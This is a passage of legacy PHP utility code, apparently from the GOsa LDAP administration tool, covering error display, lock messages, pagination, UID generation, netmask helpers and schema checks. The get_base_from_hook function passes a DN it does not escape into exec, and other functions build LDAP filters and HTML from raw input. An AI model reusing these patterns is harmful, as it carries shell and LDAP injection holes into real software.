1193             (($_SESSION['js']==FALSE)?"type='submit'":"type='button' name='error_accept'").
1194             " style='width:80px' onClick='".$hide."'>".
1195             _("OK")."</button></td></tr></table></div>";
1196         }
1198       }else{
1199         return;
1200       }
1201       $_SESSION['errorsAlreadyPosted'][$string] = 1;
1203     }
1205   } else {
1206     echo "Error: $string\n";
1207   }
1208   $_SESSION['LastError'] = $string; 
1212 function gen_locked_message($user, $dn)
1214   global $plug, $config;
1216   $_SESSION['dn']= $dn;
1217   $ldap= $config->get_ldap_link();
1218   $ldap->cat ($user, array('uid', 'cn'));
1219   $attrs= $ldap->fetch();
1221   /* Stop if we have no user here... */
1222   if (count($attrs)){
1223     $uid= $attrs["uid"][0];
1224     $cn= $attrs["cn"][0];
1225   } else {
1226     $uid= $attrs["uid"][0];
1227     $cn= $attrs["cn"][0];
1228   }
1229   
1230   $remove= false;
1232   if((isset($_SESSION['LOCK_VARS_TO_USE']))&&(count($_SESSION['LOCK_VARS_TO_USE']))){
1233     $_SESSION['LOCK_VARS_USED']  =array();
1234     foreach($_SESSION['LOCK_VARS_TO_USE'] as $name){
1236       if(empty($name)) continue;
1237       foreach($_POST as $Pname => $Pvalue){
1238         if(preg_match($name,$Pname)){
1239           $_SESSION['LOCK_VARS_USED'][$Pname] = $_POST[$Pname];
1240         }
1241       }
1243       foreach($_GET as $Pname => $Pvalue){
1244         if(preg_match($name,$Pname)){
1245           $_SESSION['LOCK_VARS_USED'][$Pname] = $_GET[$Pname];
1246         }
1247       }
1248     }
1249     $_SESSION['LOCK_VARS_TO_USE'] =array();
1250   }
1252   /* Prepare and show template */
1253   $smarty= get_smarty();
1254   $smarty->assign ("dn", $dn);
1255   if ($remove){
1256     $smarty->assign ("action", _("Continue anyway"));
1257   } else {
1258     $smarty->assign ("action", _("Edit anyway"));
1259   }
1260   $smarty->assign ("message", sprintf(_("You're going to edit the LDAP entry '%s' which appears to be used by '%s'. Please contact the person in order to clarify proceedings."), "<b>".$dn."</b>", "<b><a href=\"main.php?plug=0&amp;viewid=$uid\">$cn</a></b>"));
1262   return ($smarty->fetch (get_template_path('islocked.tpl')));
1266 function to_string ($value)
1268   /* If this is an array, generate a text blob */
1269   if (is_array($value)){
1270     $ret= "";
1271     foreach ($value as $line){
1272       $ret.= $line."<br>\n";
1273     }
1274     return ($ret);
1275   } else {
1276     return ($value);
1277   }
1281 function get_printer_list($cups_server)
1283   global $config;
1285   $res= array();
1287   /* Use CUPS, if we've access to it */
1288   if (function_exists('cups_get_dest_list')){
1289     $dest_list= cups_get_dest_list ($cups_server);
1291     foreach ($dest_list as $prt){
1292       $attr= cups_get_printer_attributes ($cups_server, $prt->name);
1294       foreach ($attr as $prt_info){
1295         if ($prt_info->name == "printer-info"){
1296           $info= $prt_info->value;
1297           break;
1298         }
1299       }
1300       $res[$prt->name]= "$info [$prt->name]";
1301     }
1303     /* CUPS is not available, try lpstat as a replacement */
1304   } else {
1305     $ar = false;
1306     exec("lpstat -p", $ar);
1307     foreach($ar as $val){
1308       @list($dummy, $printer, $rest)= split(' ', $val, 3);
1309       if (preg_match('/^[^@]+$/', $printer)){
1310         $res[$printer]= "$printer";
1311       }
1312     }
1313   }
1315   /* Merge in printers from LDAP */
1316   $ldap= $config->get_ldap_link();
1317   $ldap->cd ($config->current['BASE']);
1318   $ui= get_userinfo();
1319   if (isset($config->current['STRICT_UNITS']) && preg_match('/TRUE/i', $config->current['STRICT_UNITS']) && $ui->gosaUnitTag != ""){   
1320     $ldap->search('((objectClass=gotoPrinter)(gosaUnitTag='.$ui->gosaUnitTag.'))', array('cn'));
1321   } else {
1322     $ldap->search('(objectClass=gotoPrinter)', array('cn'));
1323   }
1324   while($attrs = $ldap->fetch()){
1325     $res[$attrs['cn'][0]] = $attrs['cn'][0];
1326   }
1328   return $res;
1332 function sess_del ($var)
1334   /* New style */
1335   unset ($_SESSION[$var]);
1337   /* ... work around, since the first one
1338      doesn't seem to work all the time */
1339   session_unregister ($var);
1343 function show_errors($message)
1345   $complete= "";
1347   /* Assemble the message array to a plain string */
1348   foreach ($message as $error){
1349     if ($complete == ""){
1350       $complete= $error;
1351     } else {
1352       $complete= "$error<br>$complete";
1353     }
1354   }
1356   /* Fill ERROR variable with nice error dialog */
1357   print_red($complete);
1361 function show_ldap_error($message, $addon= "")
1363   if (!preg_match("/Success/i", $message)){
1364     if ($addon == ""){
1365       print_red (_("LDAP error: $message"));
1366     } else {
1367       print_red ("$addon<br><br><b>"._("LDAP error:")."</b> $message");
1368     }
1369     return TRUE;
1370   } else {
1371     return FALSE;
1372   }
1376 function rewrite($s)
1378   global $REWRITE;
1380   foreach ($REWRITE as $key => $val){
1381     $s= preg_replace("/$key/", "$val", $s);
1382   }
1384   return ($s);
1388 function dn2base($dn)
1390   global $config;
1392   if (get_people_ou() != ""){
1393     $dn= preg_replace('/,'.get_people_ou().'/i' , ',', $dn);
1394   }
1395   if (get_groups_ou() != ""){
1396     $dn= preg_replace('/,'.get_groups_ou().'/i' , ',', $dn);
1397   }
1398   $base= preg_replace ('/^[^,]+,/i', '', $dn);
1400   return ($base);
1405 function check_command($cmdline)
1407   $cmd= preg_replace("/ .*$/", "", $cmdline);
1409   /* Check if command exists in filesystem */
1410   if (!file_exists($cmd)){
1411     return (FALSE);
1412   }
1414   /* Check if command is executable */
1415   if (!is_executable($cmd)){
1416     return (FALSE);
1417   }
1419   return (TRUE);
1423 function print_header($image, $headline, $info= "")
1425   $display= "<div class=\"plugtop\">\n";
1426   $display.= "  <p class=\"center\" style=\"margin:0px 0px 0px 5px;padding:0px;font-size:24px;\"><img class=\"center\" src=\"$image\" align=\"middle\" alt=\"*\">&nbsp;$headline</p>\n";
1427   $display.= "</div>\n";
1429   if ($info != ""){
1430     $display.= "<div class=\"pluginfo\">\n";
1431     $display.= "$info";
1432     $display.= "</div>\n";
1433   } else {
1434     $display.= "<div style=\"height:5px;\">\n";
1435     $display.= "&nbsp;";
1436     $display.= "</div>\n";
1437   }
1438 #  if (isset($_SESSION['errors'])){
1439 #    $display.= $_SESSION['errors'];
1440 #  }
1442   return ($display);
1446 function register_global($name, $object)
1448   $_SESSION[$name]= $object;
1452 function is_global($name)
1454   return isset($_SESSION[$name]);
1458 function get_global($name)
1460   return $_SESSION[$name];
1464 function range_selector($dcnt,$start,$range=25,$post_var=false)
1467   /* Entries shown left and right from the selected entry */
1468   $max_entries= 10;
1470   /* Initialize and take care that max_entries is even */
1471   $output="";
1472   if ($max_entries & 1){
1473     $max_entries++;
1474   }
1476   if((!empty($post_var))&&(isset($_POST[$post_var]))){
1477     $range= $_POST[$post_var];
1478   }
1480   /* Prevent output to start or end out of range */
1481   if ($start < 0 ){
1482     $start= 0 ;
1483   }
1484   if ($start >= $dcnt){
1485     $start= $range * (int)(($dcnt / $range) + 0.5);
1486   }
1488   $numpages= (($dcnt / $range));
1489   if(((int)($numpages))!=($numpages)){
1490     $numpages = (int)$numpages + 1;
1491   }
1492   if ((((int)$numpages) <= 1 )&&(!$post_var)){
1493     return ("");
1494   }
1495   $ppage= (int)(($start / $range) + 0.5);
1498   /* Align selected page to +/- max_entries/2 */
1499   $begin= $ppage - $max_entries/2;
1500   $end= $ppage + $max_entries/2;
1502   /* Adjust begin/end, so that the selected value is somewhere in
1503      the middle and the size is max_entries if possible */
1504   if ($begin < 0){
1505     $end-= $begin + 1;
1506     $begin= 0;
1507   }
1508   if ($end > $numpages) {
1509     $end= $numpages;
1510   }
1511   if (($end - $begin) < $max_entries && ($end - $max_entries) > 0){
1512     $begin= $end - $max_entries;
1513   }
1515   if($post_var){
1516     $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>
1517       <table summary='' width='100%'><tr><td style='width:25%'></td><td style='text-align:center;'>";
1518   }else{
1519     $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>";
1520   }
1522   /* Draw decrement */
1523   if ($start > 0 ) {
1524     $output.="  <a href= \"main.php?plug=".validate($_GET['plug'])."&amp;start=".
1525       (($start-$range))."\">".
1526       "<img class=\"center\" alt=\"\" src=\"images/back.png\" border=0 align=\"middle\"></a>";
1527   }
1529   /* Draw pages */
1530   for ($i= $begin; $i < $end; $i++) {
1531     if ($ppage == $i){
1532       $output.= "<a style=\"vertical-align:middle;background-color:#D0D0D0;\" href=\"main.php?plug=".
1533         validate($_GET['plug'])."&amp;start=".
1534         ($i*$range)."\">&nbsp;".($i+1)."&nbsp;</a>";
1535     } else {
1536       $output.= "<a style=\"vertical-align:middle;\" href=\"main.php?plug=".validate($_GET['plug']).
1537         "&amp;start=".($i*$range)."\">&nbsp;".($i+1)."&nbsp;</a>";
1538     }
1539   }
1541   /* Draw increment */
1542   if($start < ($dcnt-$range)) {
1543     $output.="  <a href= \"main.php?plug=".validate($_GET['plug'])."&amp;start=".
1544       (($start+($range)))."\">".
1545       "<img class=\"center\" alt=\"\" src=\"images/forward.png\" border=\"0\" align=\"middle\"></a>";
1546   }
1548   if(($post_var)&&($numpages)){
1549     $output.= "</td><td style='width:25%;text-align:right;vertical-align:middle;'>&nbsp;"._("Entries per page")."&nbsp;<select style='vertical-align:middle;' name='".$post_var."' onChange='javascript:document.mainform.submit()'>";
1550     foreach(array(20,50,100,200,"all") as $num){
1551       if($num == "all"){
1552         $var = 10000;
1553       }else{
1554         $var = $num;
1555       }
1556       if($var == $range){
1557         $output.="\n<option selected='selected' value='".$var."'>".$num."</option>";
1558       }else{  
1559         $output.="\n<option value='".$var."'>".$num."</option>";
1560       }
1561     }
1562     $output.=  "</select></td></tr></table></div>";
1563   }else{
1564     $output.= "</div>";
1565   }
1567   return($output);
1571 function apply_filter()
1573   $apply= "";
1575   $apply= ''.
1576     '<table summary=""  width="100%"  style="background:#EEEEEE;border-top:1px solid #B0B0B0;"><tr><td width="100%" align="right">'.
1577     '<input type="submit" name="apply" value="'._("Apply filter").'"></td></tr></table>';
1579   return ($apply);
1583 function back_to_main()
1585   $string= '<br><p class="plugbottom"><input type=submit name="password_back" value="'.
1586     _("Back").'"></p><input type="hidden" name="ignore">';
1588   return ($string);
1592 function normalize_netmask($netmask)
1594   /* Check for notation of netmask */
1595   if (!preg_match('/^([0-9]+\.){3}[0-9]+$/', $netmask)){
1596     $num= (int)($netmask);
1597     $netmask= "";
1599     for ($byte= 0; $byte<4; $byte++){
1600       $result=0;
1602       for ($i= 7; $i>=0; $i--){
1603         if ($num-- > 0){
1604           $result+= pow(2,$i);
1605         }
1606       }
1608       $netmask.= $result.".";
1609     }
1611     return (preg_replace('/\.$/', '', $netmask));
1612   }
1614   return ($netmask);
1618 function netmask_to_bits($netmask)
1620   list($nm0, $nm1, $nm2, $nm3)= split('\.', $netmask);
1621   $res= 0;
1623   for ($n= 0; $n<4; $n++){
1624     $start= 255;
1625     $name= "nm$n";
1627     for ($i= 0; $i<8; $i++){
1628       if ($start == (int)($$name)){
1629         $res+= 8 - $i;
1630         break;
1631       }
1632       $start-= pow(2,$i);
1633     }
1634   }
1636   return ($res);
1640 function recurse($rule, $variables)
1642   $result= array();
1644   if (!count($variables)){
1645     return array($rule);
1646   }
1648   reset($variables);
1649   $key= key($variables);
1650   $val= current($variables);
1651   unset ($variables[$key]);
1653   foreach($val as $possibility){
1654     $nrule= preg_replace("/\{$key\}/", $possibility, $rule);
1655     $result= array_merge($result, recurse($nrule, $variables));
1656   }
1658   return ($result);
1662 function expand_id($rule, $attributes)
1664   /* Check for id rule */
1665   if(preg_match('/^id(:|#)\d+$/',$rule)){
1666     return (array("\{$rule}"));
1667   }
1669   /* Check for clean attribute */
1670   if (preg_match('/^%[a-zA-Z0-9]+$/', $rule)){
1671     $rule= preg_replace('/^%/', '', $rule);
1672     $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$rule])));
1673     return (array($val));
1674   }
1676   /* Check for attribute with parameters */
1677   if (preg_match('/^%[a-zA-Z0-9]+\[[0-9-]+\]$/', $rule)){
1678     $param= preg_replace('/^[^[]+\[([^]]+)]$/', '\\1', $rule);
1679     $part= preg_replace('/^%/', '', preg_replace('/\[.*$/', '', $rule));
1680     $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$part])));
1681     $start= preg_replace ('/-.*$/', '', $param);
1682     $stop = preg_replace ('/^[^-]+-/', '', $param);
1684     /* Assemble results */
1685     $result= array();
1686     for ($i= $start; $i<= $stop; $i++){
1687       $result[]= substr($val, 0, $i);
1688     }
1689     return ($result);
1690   }
1692   echo "Error in idgen string: don't know how to handle rule $rule.\n";
1693   return (array($rule));
1697 function gen_uids($rule, $attributes)
1699   global $config;
1701   /* Search for keys and fill the variables array with all 
1702      possible values for that key. */
1703   $part= "";
1704   $trigger= false;
1705   $stripped= "";
1706   $variables= array();
1708   for ($pos= 0; $pos < strlen($rule); $pos++){
1710     if ($rule[$pos] == "{" ){
1711       $trigger= true;
1712       $part= "";
1713       continue;
1714     }
1716     if ($rule[$pos] == "}" ){
1717       $variables[$pos]= expand_id($part, $attributes);
1718       $stripped.= "{".$pos."}";
1719       $trigger= false;
1720       continue;
1721     }
1723     if ($trigger){
1724       $part.= $rule[$pos];
1725     } else {
1726       $stripped.= $rule[$pos];
1727     }
1728   }
1730   /* Recurse through all possible combinations */
1731   $proposed= recurse($stripped, $variables);
1733   /* Get list of used ID's */
1734   $used= array();
1735   $ldap= $config->get_ldap_link();
1736   $ldap->cd($config->current['BASE']);
1737   $ldap->search('(uid=*)');
1739   while($attrs= $ldap->fetch()){
1740     $used[]= $attrs['uid'][0];
1741   }
1743   /* Remove used uids and watch out for id tags */
1744   $ret= array();
1745   foreach($proposed as $uid){
1747     /* Check for id tag and modify uid if needed */
1748     if(preg_match('/\{id:\d+}/',$uid)){
1749       $size= preg_replace('/^.*{id:(\d+)}.*$/', '\\1', $uid);
1751       for ($i= 0; $i < pow(10,$size); $i++){
1752         $number= sprintf("%0".$size."d", $i);
1753         $res= preg_replace('/{id:(\d+)}/', $number, $uid);
1754         if (!in_array($res, $used)){
1755           $uid= $res;
1756           break;
1757         }
1758       }
1759     }
1761   if(preg_match('/\{id#\d+}/',$uid)){
1762     $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid);
1764     while (true){
1765       mt_srand((double) microtime()*1000000);
1766       $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1));
1767       $res= preg_replace('/{id#(\d+)}/', $number, $uid);
1768       if (!in_array($res, $used)){
1769         $uid= $res;
1770         break;
1771       }
1772     }
1773   }
1775 /* Don't assign used ones */
1776 if (!in_array($uid, $used)){
1777   $ret[]= $uid;
1781 return(array_unique($ret));
1785 function array_search_r($needle, $key, $haystack){
1787   foreach($haystack as $index => $value){
1788     $match= 0;
1790     if (is_array($value)){
1791       $match= array_search_r($needle, $key, $value);
1792     }
1794     if ($index==$key && !is_array($value) && preg_match("/$needle/i", $value)){
1795       $match=1;
1796     }
1798     if ($match){
1799       return 1;
1800     }
1801   }
1803   return 0;
1804
1807 /* Sadly values like memory_limit are perpended by K, M, G, etc.
1808    Need to convert... */
1809 function to_byte($value) {
1810   $value= strtolower(trim($value));
1812   if(!is_numeric(substr($value, -1))) {
1814     switch(substr($value, -1)) {
1815       case 'g':
1816         $mult= 1073741824;
1817         break;
1818       case 'm':
1819         $mult= 1048576;
1820         break;
1821       case 'k':
1822         $mult= 1024;
1823         break;
1824     }
1826     return ($mult * (int)substr($value, 0, -1));
1827   } else {
1828     return $value;
1829   }
1833 function in_array_ics($value, $items)
1835   if (!is_array($items)){
1836     return (FALSE);
1837   }
1839   foreach ($items as $item){
1840     if (strtolower($item) == strtolower($value)) {
1841       return (TRUE);
1842     }
1843   }
1845   return (FALSE);
1846
1849 function generate_alphabet($count= 10)
1851   $characters= _("*ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
1852   $alphabet= "";
1853   $c= 0;
1855   /* Fill cells with charaters */
1856   for ($i= 0; $i<mb_strlen($characters, 'UTF8'); $i++){
1857     if ($c == 0){
1858       $alphabet.= "<tr>";
1859     }
1861     $ch = mb_substr($characters, $i, 1, "UTF8");
1862     $alphabet.= "<td><a class=\"alphaselect\" href=\"main.php?plug=".
1863       validate($_GET['plug'])."&amp;search=".$ch."\">&nbsp;".$ch."&nbsp;</a></td>";
1865     if ($c++ == $count){
1866       $alphabet.= "</tr>";
1867       $c= 0;
1868     }
1869   }
1871   /* Fill remaining cells */
1872   while ($c++ <= $count){
1873     $alphabet.= "<td>&nbsp;</td>";
1874   }
1876   return ($alphabet);
1880 function validate($string)
1882   return (strip_tags(preg_replace('/\0/', '', $string)));
1885 function get_gosa_version()
1887   global $svn_revision, $svn_path;
1889   /* Extract informations */
1890   $revision= preg_replace('/^[^0-9]*([0-9]+)[^0-9]*$/', '\1', $svn_revision);
1892   /* Release or development? */
1893   if (preg_match('%/gosa/trunk/%', $svn_path)){
1894     return (sprintf(_("GOsa development snapshot (Rev %s)"), $revision));
1895   } else {
1896     $release= preg_replace('%^.*/([^/]+)/include/functions.inc.*$%', '\1', $svn_path);
1897     return (_("GOsa $release"));
1898   }
1902 function rmdirRecursive($path, $followLinks=false) {
1903   $dir= opendir($path);
1904   while($entry= readdir($dir)) {
1905     if(is_file($path."/".$entry) || ((!$followLinks) && is_link($path."/".$entry))) {
1906       unlink($path."/".$entry);
1907     } elseif (is_dir($path."/".$entry) && $entry!='.' && $entry!='..') {
1908       rmdirRecursive($path."/".$entry);
1909     }
1910   }
1911   closedir($dir);
1912   return rmdir($path);
1915 function scan_directory($path,$sort_desc=false)
1917   $ret = false;
1919   /* is this a dir ? */
1920   if(is_dir($path)) {
1922     /* is this path a readable one */
1923     if(is_readable($path)){
1925       /* Get contents and write it into an array */   
1926       $ret = array();    
1928       $dir = opendir($path);
1930       /* Is this a correct result ?*/
1931       if($dir){
1932         while($fp = readdir($dir))
1933           $ret[]= $fp;
1934       }
1935     }
1936   }
1937   /* Sort array ascending , like scandir */
1938   sort($ret);
1940   /* Sort descending if parameter is sort_desc is set */
1941   if($sort_desc) {
1942     $ret = array_reverse($ret);
1943   }
1945   return($ret);
1948 function clean_smarty_compile_dir($directory)
1950   global $svn_revision;
1952   if(is_dir($directory) && is_readable($directory)) {
1953     // Set revision filename to REVISION
1954     $revision_file= $directory."/REVISION";
1956     /* Is there a stamp containing the current revision? */
1957     if(!file_exists($revision_file)) {
1958       // create revision file
1959       create_revision($revision_file, $svn_revision);
1960     } else {
1961 # check for "$config->...['CONFIG']/revision" and the
1962 # contents should match the revision number
1963       if(!compare_revision($revision_file, $svn_revision)){
1964         // If revision differs, clean compile directory
1965         foreach(scan_directory($directory) as $file) {
1966           if(($file==".")||($file=="..")) continue;
1967           if( is_file($directory."/".$file) &&
1968               is_writable($directory."/".$file)) {
1969             // delete file
1970             if(!unlink($directory."/".$file)) {
1971               print_red("File ".$directory."/".$file." could not be deleted.");
1972               // This should never be reached
1973             }
1974           } elseif(is_dir($directory."/".$file) &&
1975               is_writable($directory."/".$file)) {
1976             // Just recursively delete it
1977             rmdirRecursive($directory."/".$file);
1978           }
1979         }
1980         // We should now create a fresh revision file
1981         clean_smarty_compile_dir($directory);
1982       } else {
1983         // Revision matches, nothing to do
1984       }
1985     }
1986   } else {
1987     // Smarty compile dir is not accessible
1988     // (Smarty will warn about this)
1989   }
1992 function create_revision($revision_file, $revision)
1994   $result= false;
1996   if(is_dir(dirname($revision_file)) && is_writable(dirname($revision_file))) {
1997     if($fh= fopen($revision_file, "w")) {
1998       if(fwrite($fh, $revision)) {
1999         $result= true;
2000       }
2001     }
2002     fclose($fh);
2003   } else {
2004     print_red("Can not write to revision file");
2005   }
2007   return $result;
2010 function compare_revision($revision_file, $revision)
2012   // false means revision differs
2013   $result= false;
2015   if(file_exists($revision_file) && is_readable($revision_file)) {
2016     // Open file
2017     if($fh= fopen($revision_file, "r")) {
2018       // Compare File contents with current revision
2019       if($revision == fread($fh, filesize($revision_file))) {
2020         $result= true;
2021       }
2022     } else {
2023       print_red("Can not open revision file");
2024     }
2025     // Close file
2026     fclose($fh);
2027   }
2029   return $result;
2032 function progressbar($percentage,$width=100,$height=15,$showvalue=false)
2034   $str = ""; // Our return value will be saved in this var
2036   $color  = dechex($percentage+150);
2037   $color2 = dechex(150 - $percentage);
2038   $bgcolor= $showvalue?"FFFFFF":"DDDDDD";
2040   $progress = (int)(($percentage /100)*$width);
2042   /* Abort printing out percentage, if divs are to small */
2045   /* If theres a better solution for this, use it... */
2046   $str = "
2047     <div style=\" width:".($width)."px; 
2048     height:".($height)."px;
2049   background-color:#000000;
2050 padding:1px;\">
2052           <div style=\" width:".($width)."px;
2053         background-color:#$bgcolor;
2054 height:".($height)."px;\">
2056          <div style=\" width:".$progress."px;
2057 height:".$height."px;
2058        background-color:#".$color2.$color2.$color."; \">";
2061        if(($height >10)&&($showvalue)){
2062          $str.=                 "<font style=\"font-size:".($height-2)."px;color:#FF0000;align:middle;padding-left:".((int)(($width*0.4)))."px;\">
2063            <b>".$percentage."%</b>
2064            </font>";
2065        }
2067        $str.= "</div></div></div>";
2069        return($str);
2073 function array_key_ics($ikey, $items)
2075   /* Gather keys, make them lowercase */
2076   $tmp= array();
2077   foreach ($items as $key => $value){
2078     $tmp[strtolower($key)]= $key;
2079   }
2081   if (isset($tmp[strtolower($ikey)])){
2082     return($tmp[strtolower($ikey)]);
2083   }
2085   return ("");
2089 function search_config($arr, $name, $return)
2091   if (is_array($arr)){
2092     foreach ($arr as $a){
2093       if (isset($a['CLASS']) &&
2094           strtolower($a['CLASS']) == strtolower($name)){
2096         if (isset($a[$return])){
2097           return ($a[$return]);
2098         } else {
2099           return ("");
2100         }
2101       } else {
2102         $res= search_config ($a, $name, $return);
2103         if ($res != ""){
2104           return $res;
2105         }
2106       }
2107     }
2108   }
2109   return ("");
2113 function array_differs($src, $dst)
2115   /* If the count is differing, the arrays differ */
2116   if (count ($src) != count ($dst)){
2117     return (TRUE);
2118   }
2120   /* So the count is the same - lets check the contents */
2121   $differs= FALSE;
2122   foreach($src as $value){
2123     if (!in_array($value, $dst)){
2124       $differs= TRUE;
2125     }
2126   }
2128   return ($differs);
2132 function saveFilter($a_filter, $values)
2134   if (isset($_POST['regexit'])){
2135     $a_filter["regex"]= $_POST['regexit'];
2137     foreach($values as $type){
2138       if (isset($_POST[$type])) {
2139         $a_filter[$type]= "checked";
2140       } else {
2141         $a_filter[$type]= "";
2142       }
2143     }
2144   }
2146   /* React on alphabet links if needed */
2147   if (isset($_GET['search'])){
2148     $s= mb_substr(validate($_GET['search']), 0, 1, "UTF8")."*";
2149     if ($s == "**"){
2150       $s= "*";
2151     }
2152     $a_filter['regex']= $s;
2153   }
2155   return ($a_filter);
2159 /* Escape all preg_* relevant characters */
2160 function normalizePreg($input)
2162   return (addcslashes($input, '[]()|/.*+-'));
2166 /* Escape all LDAP filter relevant characters */
2167 function normalizeLdap($input)
2169   return (addcslashes($input, '()|'));
2173 /* Resturns the difference between to microtime() results in float  */
2174 function get_MicroTimeDiff($start , $stop)
2176   $a = split("\ ",$start);
2177   $b = split("\ ",$stop);
2179   $secs = $b[1] - $a[1];
2180   $msecs= $b[0] - $a[0]; 
2182   $ret = (float) ($secs+ $msecs);
2183   return($ret);
2187 /* Check if the given department name is valid */
2188 function is_department_name_reserved($name,$base)
2190   $reservedName = array("systems","apps","incomming","internal","accounts","fax","addressbook",
2191                           preg_replace("/ou=(.*),/","\\1",get_people_ou()),
2192                           preg_replace("/ou=(.*),/","\\1",get_groups_ou()));
2193   $follwedNames['/ou=fai,ou=configs,ou=systems,/'] = array("fai","hooks","templates","scripts","disk","packages","variables","profiles");
2195   /* Check if name is one of the reserved names */
2196   if(in_array_ics($name,$reservedName)) {
2197     return(true);
2198   }
2200   /* Check all follow combinations if name is in array && parent base == array_key, return false*/
2201   foreach($follwedNames as $key => $names){
2202     if((in_array_ics($name,$names)) && (preg_match($key,$base))){
2203       return(true);
2204     }
2205   }
2206   return(false);
2210 function is_php4()
2212   if (isset($_SESSION['PHP4COMPATIBLE'])){
2213     return true;
2214   }
2215   return (preg_match('/^4/', phpversion()));
2219 function gosa_ldap_explode_dn($dn,$config = NULL,$verify_in_ldap=false)
2221   /* Initialize variables */
2222   $ret  = array("count" => 0);  // Set count to 0
2223   $next = true;                 // if false, then skip next loops and return
2224   $cnt  = 0;                    // Current number of loops
2225   $max  = 100;                  // Just for security, prevent looops
2226   $ldap = NULL;                 // To check if created result a valid
2227   $keep = "";                   // save last failed parse string
2229   /* Check each parsed dn in ldap ? */
2230   if($config!=NULL && $verify_in_ldap){
2231     $ldap = $config->get_ldap_link();
2232   }
2234   /* Lets start */
2235   $called = false;
2236   while(preg_match("/,/",$dn) && $next &&  $cnt < $max){
2238     $cnt ++;
2239     if(!preg_match("/,/",$dn)){
2240       $next = false;
2241     }
2242     $object = preg_replace("/[,].*$/","",$dn);
2243     $dn     = preg_replace("/^[^,]+,/","",$dn);
2245     $called = true;
2247     /* Check if current dn is valid */
2248     if($ldap!=NULL){
2249       $ldap->cd($dn);
2250       $ldap->cat($dn,array("dn"));
2251       if($ldap->count()){
2252         $ret[]  = $keep.$object;
2253         $keep   = "";
2254       }else{
2255         $keep  .= $object.",";
2256       }
2257     }else{
2258       $ret[]  = $keep.$object;
2259       $keep   = "";
2260     }
2261   }
2263   /* No dn was posted */
2264   if($cnt == 0 && !empty($dn)){
2265     $ret[] = $dn;
2266   }
2268   /* Append the rest */
2269   $test = $keep.$dn;
2270   if($called && !empty($test)){
2271     $ret[] = $keep.$dn;
2272   }
2273   $ret['count'] = count($ret) - 1;
2275   return($ret);
2279 function get_base_from_hook($dn, $attrib)
2281   global $config;
2283   if (isset($config->current['BASE_HOOK'])){
2284     
2285     /* Call hook script - if present */
2286     $command= $config->current['BASE_HOOK'];
2288     if ($command != ""){
2289       $command.= " '$dn' $attrib";
2290       if (check_command($command)){
2291         @DEBUG (DEBUG_SHELL, __LINE__, __FUNCTION__, __FILE__, $command, "Execute");
2292         exec($command, $output);
2293         if (preg_match("/^[0-9]+$/", $output[0])){
2294           return ($output[0]);
2295         } else {
2296           print_red(_("Warning - base_hook is not available. Using default base."));
2297           return ($config->current['UIDBASE']);
2298         }
2299       } else {
2300         print_red(_("Warning - base_hook is not available. Using default base."));
2301         return ($config->current['UIDBASE']);
2302       }
2304     } else {
2306       print_red(_("Warning - no base_hook defined. Using default base."));
2307       return ($config->current['UIDBASE']);
2309     }
2310   }
2313 /* Schema validation functions */
2315   function check_schema_version($class, $version)
2316   {
2317     return preg_match("/\(v$version\)/", $class['DESC']);
2318   }
2320   
2322   function check_schema($cfg,$rfc2307bis = FALSE)
2323   {
2325     $messages= array();
2327     /* Get objectclasses */
2328     $ldap = new LDAP($cfg['admin'],$cfg['password'],$cfg['connection'] ,FALSE,$cfg['tls']);
2329     $objectclasses = $ldap->get_objectclasses();
2330     if(count($objectclasses) == 0){
2331       print_red(_("Can't get schema information from server. No schema check possible!"));
2332     }
2334     /* This is the default block used for each entry.
2335      *  to avoid unset indexes.
2336      */
2337     $def_check = array("REQUIRED_VERSION" => "0",
2338                        "SCHEMA_FILES"     => array(),
2339                        "CLASSES_REQUIRED" => array(),
2340                        "STATUS"           => FALSE,
2341                        "IS_MUST_HAVE"     => FALSE,
2342                        "MSG"              => "",
2343                        "INFO"             => "");#_("There is currently no information specified for this schema extension."));
2345  /* The gosa base schema */
2346     $checks['gosaObject'] = $def_check;
2347     $checks['gosaObject']['REQUIRED_VERSION'] = "2.4";
2348     $checks['gosaObject']['SCHEMA_FILES']     = array("gosa+samba3.schema","gosa.schema");
2349     $checks['gosaObject']['CLASSES_REQUIRED'] = array("gosaObject");
2350     $checks['gosaObject']['IS_MUST_HAVE']     = TRUE;
2352     /* GOsa Account class */
2353     $checks["gosaAccount"]["REQUIRED_VERSION"]= "2.4";
2354     $checks["gosaAccount"]["SCHEMA_FILES"]    = array("gosa+samba3.schema","gosa.schema");
2355     $checks["gosaAccount"]["CLASSES_REQUIRED"]= array("gosaAccount");
2356     $checks["gosaAccount"]["IS_MUST_HAVE"]    = TRUE;
2357     $checks["gosaAccount"]["INFO"]            = _("Used to store account specific informations.");
2359     /* GOsa lock entry, used to mark currently edited objects as 'in use' */
2360     $checks["gosaLockEntry"]["REQUIRED_VERSION"] = "2.4";
2361     $checks["gosaLockEntry"]["SCHEMA_FILES"]     = array("gosa+samba3.schema","gosa.schema");
2362     $checks["gosaLockEntry"]["CLASSES_REQUIRED"] = array("gosaLockEntry");
2363     $checks["gosaLockEntry"]["IS_MUST_HAVE"]     = TRUE;
2364     $checks["gosaLockEntry"]["INFO"]             = _("Used to lock currently edited entries to avoid multiple changes at the same time.");
2366   /* Some other checks */
2367     foreach(array(
2368           "gosaCacheEntry"        => array("version" => "2.4"),
2369           "gosaDepartment"        => array("version" => "2.4"),
2370           "goFaxAccount"          => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2371           "goFaxSBlock"           => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2372           "goFaxRBlock"           => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2373           "gosaUserTemplate"      => array("version" => "2.4", "class" => "posixAccount","file" => "nis.schema"),
2374           "gosaMailAccount"       => array("version" => "2.4", "class" => "mailAccount","file" => "gosa+samba3.schema"),
2375           "gosaProxyAccount"      => array("version" => "2.4", "class" => "proxyAccount","file" => "gosa+samba3.schema"),
2376           "gosaApplication"       => array("version" => "2.4", "class" => "appgroup","file" => "gosa.schema"),
2377           "gosaApplicationGroup"  => array("version" => "2.4", "class" => "appgroup","file" => "gosa.schema"),
2378           "GOhard"                => array("version" => "2.5", "class" => "terminals","file" => "goto.schema"),
